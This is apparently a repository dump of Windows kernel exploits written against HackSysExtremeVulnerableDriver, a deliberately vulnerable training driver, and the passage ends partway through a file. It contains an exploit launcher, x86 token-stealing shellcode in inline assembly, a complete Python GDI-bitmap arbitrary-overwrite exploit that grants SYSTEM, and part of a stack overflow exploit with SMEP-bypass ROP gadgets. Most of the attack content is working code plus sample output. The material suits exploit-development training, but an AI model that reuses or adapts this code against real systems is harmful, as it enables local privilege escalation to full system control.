133 | 		shared_ptr<IExploit>(new ExploitUseAfterFree(driver)),
134 | 		shared_ptr<IExploit>(new ExploitPoolCorruption(driver)),
135 | 		shared_ptr<IExploit>(new ExploitStackOverflowGS(driver)),
136 | 		shared_ptr<IExploit>(new ExploitDoubleFetch(driver))
137 | 	};
138 | 	
139 | 	size_t num = 0;
140 | 	for(auto exp : exploits) {
141 | 		wcout << L"[" << setw(2) << setfill(L'0') << dec << (++num) << L"] " << exp->getName() 
142 | 				<< L", IOCTL code: 0x" << hex << setw(8) << setfill(L'0') << exp->getIoctlCode() 
143 | 				<< endl;
144 | 	}
145 | 	
146 | 	wcout << L"[99] " << L"Exit." << endl;
147 | 	
148 | 	size_t exploitNum = 0;
149 | 	
150 | 	while ((exploitNum < 1 || exploitNum > num) && exploitNum != 99) {
151 | 		wcout << endl << L"[..] Select an exploit to launch against " << Vulnerable_Driver_Module_Name 
152 | 			<< L".SYS (or 99 to exit): ";
153 | 			
154 | 		cin >> exploitNum;
155 | 		cin.ignore();
156 | 		
157 | 		if ((exploitNum < 1 || exploitNum > num) && exploitNum != 99)  {
158 | 			wcerr << L"[ !] You've specified wrong exploit's number. Try again." << endl;
159 | 		}
160 | 	}
161 | 	
162 | 	if (exploitNum == 99) return 0;
163 | 		
164 | 	wcout << endl << wstring(32, L'-') << endl;
165 | 	
166 | 	// Launch the selected exploit.
167 | 	if (!SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_HIGHEST)) {
168 | 		wcerr << L"[-] Could not set thread's priority to HIGHEST. Continuing...";
169 | 	}
170 | 	
171 | 	bool ret = exploits[exploitNum-1]->exploit();
172 | 	
173 | 	SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_NORMAL);
174 | 	
175 | 	if (ret) {
176 | 		wcout << L"[.] Exploit has been launched without errors." << endl;
177 | 		
178 | 		if (checkExploitSuccess()) {
179 | 			
180 | 			// Current process' token has been elevated to the SYSTEM's one.
181 | 			wcout << L"[+] Succeeded. Enjoy your SYSTEM! :-)" << endl << endl
182 | 					<< wstring(32, L'-') << endl << endl;
183 | 			
184 | 			const std::string cmd(Command_To_Execute.begin(), Command_To_Execute.end());
185 | 			system(cmd.c_str());
186 | 		} 
187 | 		else {
188 | 			wcout << L"[!] Failed. That's a pity." << endl;
189 | 		}
190 | 		
191 | 	} else {
192 | 		wcerr << L"[!] Exploit has failed." << endl;
193 | 	}
194 | 	
195 | 	return 0;
196 | }
197 | 


--------------------------------------------------------------------------------
/payloads.cpp:
--------------------------------------------------------------------------------
 1 | 
 2 | #include "payloads.h"
 3 | 
 4 | //
 5 | // GCC naked function being a Kernel Token stealing 
 6 | // shellcode implementation, operating in the following manner:
 7 | // 		1. Get the Kernel Processor Control Region current thread
 8 | //		2. Get the _EPROCESS pointer from APC_STATE structure within _KTHREAD
 9 | //		3. Store pointer of the current process' _EPROCESS structure
10 | // 		4. Search for process with system's pid = 4
11 | //			4a. Traverse ActiveProcessLinks.Flink pointers until you find PID=4
12 | //		5. Get system process' token value (_EPROCESS.Token)
13 | //			5a. And-out the lower token's bits to zero-out the ReferenceCounter
14 | //			5b. Then retrieve ReferenceCounter of current process' token
15 | //			5c. Then merge SYSTEM's token value with ReferenceCounter of current process' token
16 | //		6. Replace target process' token with that merged with system's one. 
17 | //		7. Return NTSTATUS_SUCCESS and exit cleanly.
18 | //
19 | void token_stealing_win7();
20 | asm (
21 | 	".globl _token_stealing_win7						\n"
22 | 	"_token_stealing_win7:								\n"
23 | 	"	nop												\n"
24 | 	"	nop												\n"
25 | 	"	nop												\n"
26 | 	"	nop												\n"
27 | #ifdef USE_INT_3_IN_SHELLCODE
28 | 	"	int $3											\n"     // To be used while VM is under WinDBG
29 | #endif
30 | 	"	pushal											\n"
31 | 	"	xorl %eax, %eax									\n"
32 | 	"	movl %fs:" STR(KTHREAD_OFFSET) "(%eax), %eax	\n"		// Get nt!_KPCR.PcrbData.CurrentThread
33 | 	"													\n"		// _KTHREAD located at FS:[0x124]
34 | 	"	movl " STR(EPROCESS_OFFSET) "(%eax), %eax		\n"		// Get nt!_KTHREAD.ApcState.Process
35 | 	"	movl %eax, %ecx 								\n"		// Copy current process' _EPROCESS pointer
36 | 	"	movl $" STR(SYSTEM_PID) ", %edx 				\n"		// system process id
37 | 	"													\n"
38 | 	"system_pid_lookup:									\n"		// Processes traversal loop, looking for SYSTEM _EPROCESS
39 | 	"	movl " STR(FLINK_OFFSET) "(%eax), %eax			\n"		// Get nt!_EPROCESS.ActiveProcessLinks.Flink
40 | 	"	subl $" STR(FLINK_OFFSET) ", %eax 				\n"
41 | 	"	cmpl %edx, " STR(PID_OFFSET) " (%eax) 			\n" 	// Get nt!_EPROCESS.UniqueProcessId
42 | 	"	jne system_pid_lookup 							\n"
43 | 	"													\n"
44 | 	"	movl " STR(TOKEN_OFFSET) "(%eax), %edx			\n"		// Get SYSTEM process nt!_EPROCESS.Token
45 | 	"	movl " STR(TOKEN_OFFSET) "(%ecx), %edi			\n"		// Get current process nt!_EPROCESS.Token
46 | 	"													\n"
47 | 	"	andl $0xfffffff8, %edx							\n"		// apply the mask on SYSTEM process token, to remove
48 | 	"													\n"		// the reference counter on that token
49 | 	"													\n"		// (_EX_FAST_REF.RefCnt :3)
50 | 	"													\n"															
51 | 	"	andl $3, %edi									\n"		// apply the mask on current process token, to preserve
52 | 	"													\n"		// the reference counter of that token.
53 | 	"													\n"
54 | 	"	addl %edi, %edx									\n"		// merge AccessToken of SYSTEM with ReferenceCounter of
55 | 	"													\n"		// current process' token.
56 | 	"													\n"	
57 | 	"	movl %edx, " STR(TOKEN_OFFSET) "(%ecx) 			\n"		// Replace target process nt!_EPROCESS.Token
58 | 	"													\n"		// with SYSTEM process nt!_EPROCESS.Token
59 | 	"	nop												\n"
60 | 	"	nop												\n"
61 | 	"	nop												\n"
62 | 	"	nop												\n"
63 | 	"	popal											\n"
64 | 	"													\n"
65 | #ifdef USE_INT_3_IN_SHELLCODE
66 | 	"	int $3											\n"     // To be used while VM is under WinDBG
67 | #endif
68 | /*
69 | 	"check_for_41s_on_stack:							\n"		// Generic stack correction upon finding 'AAAA's on stack.
70 | 	"	cmpl $0x41414141, (%esp)						\n"
71 | 	"	jne finish										\n"
72 | 	"	addl $4, %esp									\n"
73 | 	"	jmp check_for_41s_on_stack						\n"
74 | 	"													\n"
75 | 	"finish:											\n"
76 | */
77 | 	"   xorl %eax, %eax									\n"		// return with NTSTATUS SUCCESS
78 | //	"	pop %ebp										\n"		// restore saved EBP - to be added on demand
79 | 	"   nop												\n"
80 | 	"	ret 											\n"		// return cleanly
81 | 	"   nop												\n"
82 | 	"   nop												\n"
83 | 	"	int $3											\n"
84 | 	"	int $3											\n"
85 | 	"	int $3											\n"
86 | 	"	int $3											\n"
87 | );
88 | 
89 | 


--------------------------------------------------------------------------------
/payloads.h:
--------------------------------------------------------------------------------
 1 | #pragma once
 2 | 
 3 | #include <stdio.h>
 4 | 
 5 | #define STR1(x) #x
 6 | #define STR(x)	STR1(x)
 7 | 
 8 | //
 9 | // Windows 7 SP1 x86, English
10 | //
11 | #define KTHREAD_OFFSET     0x124  // nt!_KPCR.PcrbData.CurrentThread
12 | #define EPROCESS_OFFSET    0x050  // nt!_KTHREAD.ApcState.Process
13 | #define PID_OFFSET         0x0B4  // nt!_EPROCESS.UniqueProcessId
14 | #define FLINK_OFFSET       0x0B8  // nt!_EPROCESS.ActiveProcessLinks.Flink
15 | #define TOKEN_OFFSET       0x0F8  // nt!_EPROCESS.Token
16 | #define SYSTEM_PID         0x004  // SYSTEM Process PID
17 | 
18 | /*
19 |  * Difference in bytes between HalpSetSystemInformation and
20 |  * HaliQuerySystemInformation, or more formally between:
21 |  *		diff := HalDispatchTable[2] - HalDispatchTable[1]
22 |  *
23 |  * 1: kd> dps poi(hal!HalDispatchTable)
24 |  * 8292d400  00000004
25 |  * 8292d404  82c3d8a2 hal!HaliQuerySystemInformation
26 |  * 8292d408  82c3e1b4 hal!HalpSetSystemInformation
27 |  *
28 |  * 2: kd> ? 0x82c3e1b4 - 0x82c3d8a2
29 |  * Evaluate expression: 2322 = 00000912
30 | **/
31 | #define HAL_THIRD_TO_SECOND_ENTRY_DIFFERENCE	0x912
32 | 
33 | //#define USE_INT_3_IN_SHELLCODE
34 | 
35 | 
36 | extern "C" {
37 | 
38 | 	//
39 | 	// This pointer will hold address pointing at the opening four NOPS sequence
40 | 	// since GCC/G++ during optimization is cutting out some instructions of a naked function
41 | 	// and we cannot afford that.
42 | 	//
43 | 	extern void *tokenStealingPayloadRealPointer;
44 | 	extern size_t tokenStealingPayloadSize;
45 | 
46 | 	void token_stealing_win7();
47 | }
48 | 
49 | 
50 | 


--------------------------------------------------------------------------------
/x64/ArbitraryOverwriteGDI.py:
--------------------------------------------------------------------------------
  1 | #!/usr/bin/python
  2 | #
  3 | # HackSysExtremeVulnerableDriver (HEVD) Windows x64 Kernel exploit
  4 | #       Arbitrary Overwrite via GDI SURFACE primitives
  5 | #
  6 | # -----------------------------------------------------------
  7 | # C:\Users\test\Desktop>python ArbitraryOverwriteGDI.py
  8 | #
  9 | #     HackSysExtremeVulnerableDriver
 10 | #     Local Privilege Escalation exploit
 11 | #         Arbitrary Overwrite with help of GDI SURFACEs (x64)
 12 | #     Mariusz Banach / mgeeky, '17
 13 | #
 14 | # [+] Driver: "\\.\HackSysExtremeVulnerableDriver" opened, handle: 0x0080
 15 | # [>] Step 1: Locate GdiSharedHandleTable...
 16 | #         [+] PEB located at: 0xe03000
 17 | #         [+] GdiSharedHandleTable at: 0x1960000
 18 | # [>] Step 2: Create two bitmaps: Manager and Worker...
 19 | #         [.] Bitmap created (Manager): hBitmap = 0x3305054d
 20 | #         [.] Bitmap created (Worker): hBitmap = 0xffffffffd3050b57
 21 | # [>] Step 3: Obtain theirs SURFACE64.SurfObj.pvScan0...
 22 | #         [+] Manager bitmap (handle: ...054d), pvScan0: 0xfffff901427f3050
 23 | #         [+] Worker bitmap (handle: ...0b57), pvScan0: 0xfffff90144000050
 24 | # [>] Step 4: Overwrite Manager's pvScan0 with address of Worker's pvScan0...
 25 | #         [+] Triggering only-once arbitrary overwrite...
 26 | #         What:   0x0000000003285910 (value: 0xfffff90144000050)
 27 | #         Where:  0xfffff901427f3050
 28 | #         [+] Sending IOCTL: 0x0022200b, input addr: 0x032a0d38, size: 16
 29 | # [.] It could have succeed.
 30 | #         [.] We now should have constructed Arbitrary Overwrite primitive.
 31 | # [>] Step 5: Obtain SYSTEM's and target process _EPROCESSes:
 32 | #         [.] Acquired kernel base. ntoskrnl.exe: 0xfffff80075279000
 33 | #         [.] SYSTEM _EPROCESS at: 0xffffe0001284f040
 34 | #         [.] Current process _EPROCESS at: 0xffffe00013870080
 35 | # [>] Step 6: Steal the SYSTEM's token...
 36 | #         [+] SYSTEM's token: 0xffffc0018e216a59
 37 | # [>] Step 7: Become the SYSTEM!
 38 | # Microsoft Windows [Version 10.0.10586]
 39 | # (c) 2015 Microsoft Corporation. All rights reserved.
 40 | 
 41 | # C:\Users\test\Desktop>whoami
 42 | # nt authority\system
 43 | # -----------------------------------------------------------
 44 | #
 45 | # Mariusz Banach / mgeeky, '17
 46 | #
 47 | 
 48 | import os
 49 | import sys
 50 | import time
 51 | import struct
 52 | import ctypes
 53 | import platform
 54 | from ctypes.wintypes import *
 55 | 
 56 | # Driver's informations.
 57 | HEVD_FILE_NAME              = ur"\\.\HackSysExtremeVulnerableDriver"
 58 | IOCTL_CODE                  = 0x0022200b
 59 | 
 60 | 
 61 | # ----- SYSTEM VERSION DEPENDENT HADRCODED VALUES -----
 62 | 
 63 | # Valid for:
 64 | #   Windows 10 Kernel Version 1511 / 10586 MP (1 procs) Free x64
 65 | #   Built by: 10586.1106.amd64fre.th2_release.170904-1742
 66 | UNIQUE_PROCESS_ID           = 0x2e8
 67 | ACTIVE_PROC_LINKS           = 0x2f0         # _EPROCESS.ActiveProcessLinks
 68 | TOKEN_OFFSET                = 0x358         # _EPROCESS.Token
 69 | 
 70 | # STRUCTURES OFFSETS
 71 | PEB_GDI_SHARED_HANDLE_TABLE = 0x00f8
 72 | 
 73 | # Offset of pvScan0 member of the SURFACE64.SurfObj.pvScan0
 74 | OFFSET_TO_PVSCAN0           = 0x18 + 0x38
 75 | 
 76 | # ----- SYSTEM VERSION DEPENDENT HADRCODED VALUES -----
 77 | 
 78 | 
 79 | #
 80 | # Windows Structures and definitions
 81 | #
 82 | 
 83 | class _PEB(ctypes.Structure):
 84 |     _fields_ = [
 85 |         ('unrelated', BYTE * PEB_GDI_SHARED_HANDLE_TABLE),
 86 |         ('GdiSharedHandleTable', LPVOID),
 87 |     ]
 88 | 
 89 | class _PROCESS_BASIC_INFORMATION(ctypes.Structure):
 90 |     _fields_ = [
 91 |         ('reserved1', LPVOID),
 92 |         ('PebBaseAddress', ctypes.POINTER(_PEB)),
 93 |         ('reserved2', LPVOID * 2),
 94 |         ('UniqueProcessId', ctypes.POINTER(ULONG)),
 95 |         ('reserved3', LPVOID)
 96 |     ]
 97 | 
 98 | class _GDICELL64(ctypes.Structure):
 99 |     _fields_ = [
100 |         ('pKernelAddress', LPVOID),
101 |         ('wProcessId', WORD),
102 |         ('wCount', WORD),
103 |         ('wUpper', WORD),
104 |         ('wType', WORD),
105 |         ('pUserAddress', LPVOID),
106 |     ]
107 | 
108 | NtQueryInformationProcess = ctypes.windll.ntdll.NtQueryInformationProcess
109 | NtQueryInformationProcess.restype = LONG
110 | NtQueryInformationProcess.argtypes = (
111 |     HANDLE,     # _In_      ProcessHandle
112 |     ULONG,      # _In_      ProcessInformationClass
113 |     LPVOID,     # _Out_     ProcessInformation
114 |     ULONG,      # _In_      ProcessInformationLength
115 |     ULONG       # _Out_opt_ ReturnLength
116 | )
117 | 
118 | ctypes.windll.gdi32.SetBitmapBits.argtypes = (
119 |     HBITMAP, 
120 |     LONG, 
121 |     LPVOID
122 | )
123 | 
124 | ctypes.windll.gdi32.GetBitmapBits.argtypes = (
125 |     HBITMAP, 
126 |     LONG, 
127 |     LPVOID
128 | )
129 | 
130 | ctypes.windll.kernel32.LoadLibraryA.restype = HMODULE
131 | ctypes.windll.kernel32.GetProcAddress.restype = ctypes.c_ulonglong
132 | ctypes.windll.kernel32.GetProcAddress.argtypes = (HMODULE, LPCSTR)
133 | 
134 | 
135 | #
136 | # Windows Constants
137 | #
138 | GENERIC_READ                = 0x80000000
139 | FILE_SHARE_READ             = 1
140 | FILE_SHARE_WRITE            = 2
141 | OPEN_EXISTING               = 3
142 | LANG_ENGLISH                = 9
143 | SUBLANG_DEFAULT             = 1
144 | FORMAT_MESSAGE_FROM_SYSTEM  = 0x00001000
145 | FILE_ATTRIBUTE_NORMAL       = 0x00000080
146 | FILE_FLAG_OVERLAPPED        = 0x40000000
147 | MEM_COMMIT                  = 0x1000
148 | MEM_RESERVE                 = 0x2000
149 | PAGE_EXECUTE_READWRITE      = 0x40
150 | 
151 | ProcessBasicInformation     = 0
152 | 
153 | 
154 | #
155 | # Exploit Globals
156 | #
157 | gDriver = None
158 | 
159 | 
160 | class Driver:
161 |     fileName = ''
162 | 
163 |     def __init__(self, fileName):
164 |         self.fileName = fileName
165 | 
166 |     def __exit__(self):
167 |         if self.handle:
168 |             ctypes.windll.kernel32.CloseHandle(self.handle)
169 | 
170 |     def open(self):
171 |         self.handle = ctypes.windll.kernel32.CreateFileW(
172 |             self.fileName,
173 |             GENERIC_READ,
174 |             FILE_SHARE_READ | FILE_SHARE_WRITE,
175 |             None,
176 |             OPEN_EXISTING,
177 |             FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
178 |             None
179 |         )
180 | 
181 |         if not self.handle or self.handle == -1:
182 |             print "[!] Could not open Driver's handle: " + formatError()
183 |             return False
184 | 
185 |         print '[+] Driver: "{}" opened, handle: 0x{:04x}'.format(self.fileName, self.handle)
186 |         return True
187 | 
188 |     def sendIoctl(self, ioctl, inpBuf, inputSize):
189 |         ret = ctypes.c_ulong()
190 |         inputBuf = getPtr(inpBuf)
191 | 
192 |         print '\t[+] Sending IOCTL: 0x{:08x}, input addr: 0x{:08x}, size: {}'.format(ioctl, inputBuf, inputSize)
193 |         sys.stdout.flush()
194 |         
195 |         out = ctypes.windll.kernel32.DeviceIoControl(
196 |             self.handle, 
197 |             ioctl, 
198 |             inputBuf, 
199 |             inputSize, 
200 |             None, 
201 |             0, 
202 |             ctypes.byref(ret), 
203 |             None 
204 |         )
205 | 
206 |         if not out:
207 |             print '[!] IOCTL Failed: ' + formatError()
208 | 
209 |         return out
210 | 
211 | class GDIRing0Primitives():
212 |     def __init__(self, callbackArbitraryOverwriteOnce):
213 |         self.callbackArbitraryOverwriteOnce = callbackArbitraryOverwriteOnce
214 |         self.pebAddress = 0
215 |         self.gdiSharedHandleTable = LPVOID(0)
216 | 
217 |     def createBitmap(self, name):
218 |         allocd = ctypes.windll.kernel32.VirtualAlloc(
219 |             None,
220 |             0x64 * 0x64 * 1,
221 |             (MEM_COMMIT | MEM_RESERVE),
222 |             PAGE_EXECUTE_READWRITE
223 |         )
224 | 
225 |         ptr = ctypes.c_void_p(allocd)
226 | 
227 |         ctypes.windll.gdi32.CreateBitmap.restype = HANDLE
228 |         hBitmap = ctypes.windll.gdi32.CreateBitmap(
229 |             0x64,
230 |             0x64,
231 |             1,
232 |             32,
233 |             ctypes.byref(ptr)
234 |         )
235 | 
236 |         out = ctypes.c_ulonglong(hBitmap)
237 |         print '\t[.] Bitmap created ({}): hBitmap = 0x{:x}'.format(name, out.value)
238 | 
239 |         return hBitmap
240 | 
241 |     def obtainGdiSharedHandleTable(self):
242 |         info = _PROCESS_BASIC_INFORMATION()
243 |         status = NtQueryInformationProcess(
244 |             HANDLE(-1),
245 |             ProcessBasicInformation,
246 |             ctypes.byref(info),
247 |             ctypes.sizeof(info),
248 |             0
249 |         )
250 | 
251 |         if status < 0:
252 |             print '[!] Could not fetch PEB!'
253 |             sys.exit(-1)
254 | 
255 |         print '\t[+] PEB located at: 0x{:x}'.format(ctypes.addressof(info.PebBaseAddress.contents))
256 |         peb = info.PebBaseAddress.contents
257 | 
258 |         self.gdiSharedHandleTable = peb.GdiSharedHandleTable
259 |         print '\t[+] GdiSharedHandleTable at: 0x{:x}'.format(self.gdiSharedHandleTable)
260 | 
261 |     def createBitmaps(self):
262 |         self.bitmapManager = self.createBitmap('Manager')
263 |         self.bitmapWorker = self.createBitmap('Worker')
264 | 
265 |     def obtainPvScan0(self, name, hBitmap):
266 |         cellAddr = self.gdiSharedHandleTable + (hBitmap & 0xffff) * ctypes.sizeof(_GDICELL64)
267 |         cell = _GDICELL64.from_address(cellAddr)
268 | 
269 |         pvScan0 = cell.pKernelAddress + OFFSET_TO_PVSCAN0
270 |         print '\t[+] {} bitmap (handle: ...{:04x}), pvScan0: 0x{:016x}'.format(name, (hBitmap & 0xffff), pvScan0)
271 |         return pvScan0
272 | 
273 |     def fetchPvScans(self):
274 |         self.managerPvScan0 = self.obtainPvScan0('Manager', self.bitmapManager)
275 |         self.workerPvScan0 = self.obtainPvScan0('Worker', self.bitmapWorker)
276 | 
277 |     def overwriteManagerPvScan0(self):
278 |         what = ctypes.c_void_p(self.workerPvScan0)
279 |         where = self.managerPvScan0
280 |         return self.callbackArbitraryOverwriteOnce(ctypes.addressof(what), where)
281 | 
282 |     def setAddress(self, addr2):
283 |         addr = ctypes.c_ulonglong(addr2)
284 |         ctypes.windll.gdi32.SetBitmapBits(
285 |             self.bitmapManager,
286 |             ctypes.sizeof(addr),
287 |             ctypes.addressof(addr)
288 |         )
289 | 
290 |         return True
291 | 
292 |     def arbitraryWrite(self, addr, src):
293 |         if not self.setAddress(addr):
294 |             print '[!] Arbitrary write failed at setting address: 0x{:x}'.format(addr)
295 |             return False
296 | 
297 |         write = ctypes.c_ulonglong(src)
298 |         return 0 != ctypes.windll.gdi32.SetBitmapBits(
299 |             self.bitmapWorker,
300 |             ctypes.sizeof(LPVOID),
301 |             ctypes.byref(write)
302 |         )
303 | 
304 |     def arbitraryRead(self, addr):
305 |         if not self.setAddress(addr):
306 |             print '[!] Arbitrary read failed at setting address: 0x{:x}'.format(addr)
307 |             return False
308 | 
309 |         read = ctypes.c_ulonglong()
310 |         if not ctypes.windll.gdi32.GetBitmapBits(
311 |             self.bitmapWorker,
312 |             ctypes.sizeof(read),
313 |             ctypes.byref(read)
314 |         ):
315 |             return False
316 | 
317 |         return read.value
318 | 
319 | def formatError():
320 |     errCode = ctypes.windll.kernel32.GetLastError()
321 |     buff = ctypes.create_string_buffer(1024)
322 |     ctypes.windll.kernel32.FormatMessageA(
323 |         FORMAT_MESSAGE_FROM_SYSTEM,
324 |         0,
325 |         errCode,
326 |         (((SUBLANG_DEFAULT) << 10) | (LANG_ENGLISH)),
327 |         buff,
328 |         1024,
329 |         0
330 |     )
331 | 
332 |     return 'error: {!s}, {}'.format(errCode, repr(buff.value.strip()))
333 | 
334 | def getPtr(buf):
335 |     return id(buf) + 32
336 | 
337 | def getKernelBase():
338 |     imageBase = (ctypes.c_ulonglong * 1024)()
339 |     cb = ctypes.c_uint32(1024)
340 |     needed = ctypes.c_longlong()
341 | 
342 |     ctypes.windll.psapi.EnumDeviceDrivers.argtypes = \
343 |         [ctypes.c_void_p, ctypes.c_uint32, ctypes.POINTER(ctypes.c_longlong)]
344 |         
345 |     res = ctypes.windll.psapi.EnumDeviceDrivers(
346 |         ctypes.byref(imageBase),
347 |         cb,
348 |         ctypes.byref(needed)
349 |     )
350 |     if not res:
351 |         print "\t[!] Failed getting kernel base: " + formatError()
352 |         return None
353 | 
354 |     name = ctypes.create_string_buffer(256)
355 |     ctypes.windll.psapi.GetDeviceDriverBaseNameA(
356 |         LPVOID(imageBase[0]),
357 |         ctypes.byref(name),
358 |         256
359 |     )
360 | 
361 |     print '\t[.] Acquired kernel base. {}: 0x{:x}'.format(name.value, imageBase[0])
362 |     return imageBase[0], name.value
363 | 
364 | def triggerArbitraryOverwrite(what, where):
365 |     whatValue = ctypes.c_ulonglong.from_address(what).value
366 |     obj = struct.pack('<Q', what) + struct.pack('<Q', where)
367 | 
368 |     print '\t[+] Triggering only-once arbitrary overwrite...' 
369 |     print '\tWhat:\t0x{:016x} (value: 0x{:016x})'.format(what, whatValue) 
370 |     print '\tWhere:\t0x{:016x}'.format(where) 
371 | 
372 |     if gDriver.sendIoctl(IOCTL_CODE, obj, len(obj)):
373 |         print '[.] It could have succeed.'
374 |         return True
375 | 
376 |     print '[-] Exploit has failed.'
377 |     return False
378 | 
379 | def getSystemProcess(primitive):
380 |     system = None
381 | 
382 |     kernelBase, kernelName = getKernelBase()
383 |     if not kernelBase:
384 |         return None
385 | 
386 |     kernelModule = ctypes.windll.kernel32.LoadLibraryA(kernelName)
387 |     if not kernelModule:
388 |         print '[!] Could not load kernel module: {}'.format(kernelName)
389 |         return None
390 | 
391 |     symbol = ctypes.windll.kernel32.GetProcAddress(
392 |         kernelModule,
393 |         "PsInitialSystemProcess"
394 |     )
395 | 
396 |     PsInitialSystemProcess = (symbol - kernelModule) + kernelBase
397 |     system = primitive.arbitraryRead(PsInitialSystemProcess)
398 |     print '\t[.] SYSTEM _EPROCESS at: 0x{:016x}'.format(system)
399 | 
400 |     return system
401 | 
402 | def getTargetProcess(primitive, systemProcess):
403 |     def getProcessFromFlink(x):
404 |         return x - UNIQUE_PROCESS_ID - ctypes.sizeof(LPVOID)
405 | 
406 |     target = systemProcess
407 |     flink = primitive.arbitraryRead(target + ACTIVE_PROC_LINKS)
408 | 
409 |     maxCounter = 512
410 |     i = 0
411 |     while i < maxCounter:
412 |         i += 1
413 | 
414 |         target = getProcessFromFlink(flink)
415 |         currPID = primitive.arbitraryRead(target + UNIQUE_PROCESS_ID)
416 | 
417 |         if (os.getpid() == currPID):
418 |             print '\t[.] Current process _EPROCESS at: 0x{:016x}'.format(target)
419 |             return target
420 | 
421 |         flink = primitive.arbitraryRead(target + ACTIVE_PROC_LINKS)
422 |         newProc = getProcessFromFlink(flink)
423 | 
424 |         if target == newProc:
425 |             break
426 | 
427 |     return None
428 | 
429 | def collectEPROCESSes(primitive):
430 |     system = getSystemProcess(primitive)
431 |     target = getTargetProcess(primitive, system)
432 | 
433 |     return system, target
434 | 
435 | def stealSystemToken(primitive, system, target):
436 |     systemToken = primitive.arbitraryRead(system + TOKEN_OFFSET)
437 | 
438 |     print '\t[+] SYSTEM\'s token: 0x{:016x}'.format(systemToken)
439 |     primitive.arbitraryWrite(target + TOKEN_OFFSET, systemToken)
440 | 
441 | def exploit():
442 |     primitive = GDIRing0Primitives(triggerArbitraryOverwrite)
443 | 
444 |     print '[>] Step 1: Locate GdiSharedHandleTable...'
445 |     primitive.obtainGdiSharedHandleTable()
446 | 
447 |     print '[>] Step 2: Create two bitmaps: Manager and Worker...'
448 |     primitive.createBitmaps()
449 | 
450 |     print '[>] Step 3: Obtain theirs SURFACE64.SurfObj.pvScan0...'
451 |     primitive.fetchPvScans()
452 | 
453 |     print "[>] Step 4: Overwrite Manager's pvScan0 with address of Worker's pvScan0..."
454 |     if not primitive.overwriteManagerPvScan0():
455 |         return False
456 | 
457 |     print '\t[.] We now should have constructed Arbitrary Overwrite primitive.'
458 | 
459 |     print '[>] Step 5: Obtain SYSTEM\'s and target process _EPROCESSes:'
460 |     system, target = collectEPROCESSes(primitive)
461 |     if not system or not target:
462 |         print '[!] Could not obtain needed EPROCESSes.'
463 |         return False
464 | 
465 |     print '[>] Step 6: Steal the SYSTEM\'s token...'
466 |     stealSystemToken(primitive, system, target)
467 | 
468 |     print '[>] Step 7: Become the SYSTEM!'
469 |     os.system("cmd")
470 | 
471 |     return True
472 | 
473 | 
474 | def main(argv):
475 |     global gDriver
476 | 
477 |     print '''
478 |     HackSysExtremeVulnerableDriver
479 |     Local Privilege Escalation exploit
480 |         Arbitrary Overwrite with help of GDI SURFACEs (x64)
481 |     Mariusz Banach / mgeeky, '17
482 | '''
483 |     
484 |     if platform.architecture()[0] != '64bit':
485 |         raise Exception("This exploit must be run from Python 2.7 x64 bit")
486 | 
487 |     gDriver = Driver(HEVD_FILE_NAME)
488 |     if not gDriver.open():
489 |         return False
490 | 
491 |     return exploit()
492 | 
493 | if __name__ == '__main__':
494 |     main(sys.argv)
495 | 


--------------------------------------------------------------------------------
/x64/StackOverflow.py:
--------------------------------------------------------------------------------
  1 | #!/usr/bin/python
  2 | #
  3 | # HackSysExtremeVulnerableDriver (HEVD) Windows x64 Kernel exploit
  4 | #   Stack Overflow x64 + with SMEP bypass via ROP
  5 | #   (working/tested under Windows 10 x64 1703, 15063.608)
  6 | # 
  7 | # Mariusz Banach / mgeeky, '17
  8 | #
  9 | 
 10 | import os
 11 | import sys
 12 | import struct
 13 | import ctypes
 14 | import platform
 15 | import ctypes.wintypes
 16 | 
 17 | # Insert breakpoints to the kernel shellcode?
 18 | INSERT_INT3                 = False
 19 | 
 20 | # If under VM - SMEP may be not needed, otherwise - switch this to true
 21 | # The VirtualBox's been found Meditation Guru-crashing VM during CR4 overwrite,
 22 | # possibly due to Hyper-V overreaction.
 23 | USE_SMEP_BYPASS             = False
 24 | 
 25 | # Driver's informations.
 26 | HEVD_FILE_NAME              = ur"\\.\HackSysExtremeVulnerableDriver"
 27 | IOCTL_CODE                  = 0x00222003
 28 | 
 29 | 
 30 | # ----- SYSTEM VERSION DEPENDENT HADRCODED VALUES -----
 31 | 
 32 | # Valid for:
 33 | #   Windows 10 Kernel Version 1703 / 15063 MP (2 procs) Free x64
 34 | #   Built by: 15063.0.amd64fre.rs2_release.170317-1834
 35 | CURRENT_THREAD              = 0x188         # nt!_KPCR.Pcrb.CurrentThread (_KTHREAD)
 36 | APC_PROCESS                 = 0x98 + 0x20   # _KTHREAD.ApcState.Process
 37 | ACTIVE_PROC_LINKS           = 0x2e8         # _EPROCESS.ActiveProcessLinks
 38 | TOKEN_OFFSET                = 0x358         # _EPROCESS.Token
 39 | 
 40 | # nt!ExInitializeLookasideListEx+0x41: 
 41 | #   fffff802`de28d941: pop rax ; ret
 42 | GADGET1_SET_RAX             = 0x00006941
 43 | 
 44 | # nt!KiFlushCurrentTbWorker+0x19: 
 45 | #   fffff802`de38ce59: mov cr3, rax ; ret
 46 | GADGET2_SET_CR4             = 0x00105e59
 47 | 
 48 | # The value for the CR4 with the SMEP/SMAP bits turned off
 49 | VALID_CR4_VALUE             = 0x000406f8
 50 | 
 51 | # ----- SYSTEM VERSION DEPENDENT HADRCODED VALUES -----
 52 | 
 53 | 
 54 | # Windows Constants
 55 | GENERIC_READ                = 0x80000000
 56 | FILE_SHARE_READ             = 1
 57 | FILE_SHARE_WRITE            = 2
 58 | OPEN_EXISTING               = 3
 59 | LANG_ENGLISH                = 9
 60 | SUBLANG_DEFAULT             = 1
 61 | FORMAT_MESSAGE_FROM_SYSTEM  = 0x00001000
 62 | FILE_ATTRIBUTE_NORMAL       = 0x00000080
 63 | FILE_FLAG_OVERLAPPED        = 0x40000000
 64 | MEM_COMMIT                  = 0x1000
 65 | MEM_RESERVE                 = 0x2000
 66 | PAGE_EXECUTE_READWRITE      = 0x40
 67 | 
 68 | 
 69 | class Driver:
 70 |     fileName = ''
 71 | 
 72 |     def __init__(self, fileName):
 73 |         self.fileName = fileName
 74 | 
 75 |     def __exit__(self):
 76 |         if self.handle:
 77 |             ctypes.windll.kernel32.CloseHandle(self.handle)
 78 | 
 79 |     def open(self):
 80 |         self.handle = ctypes.windll.kernel32.CreateFileW(
 81 |             self.fileName,
 82 |             GENERIC_READ,
 83 |             FILE_SHARE_READ | FILE_SHARE_WRITE,
 84 |             None,
 85 |             OPEN_EXISTING,
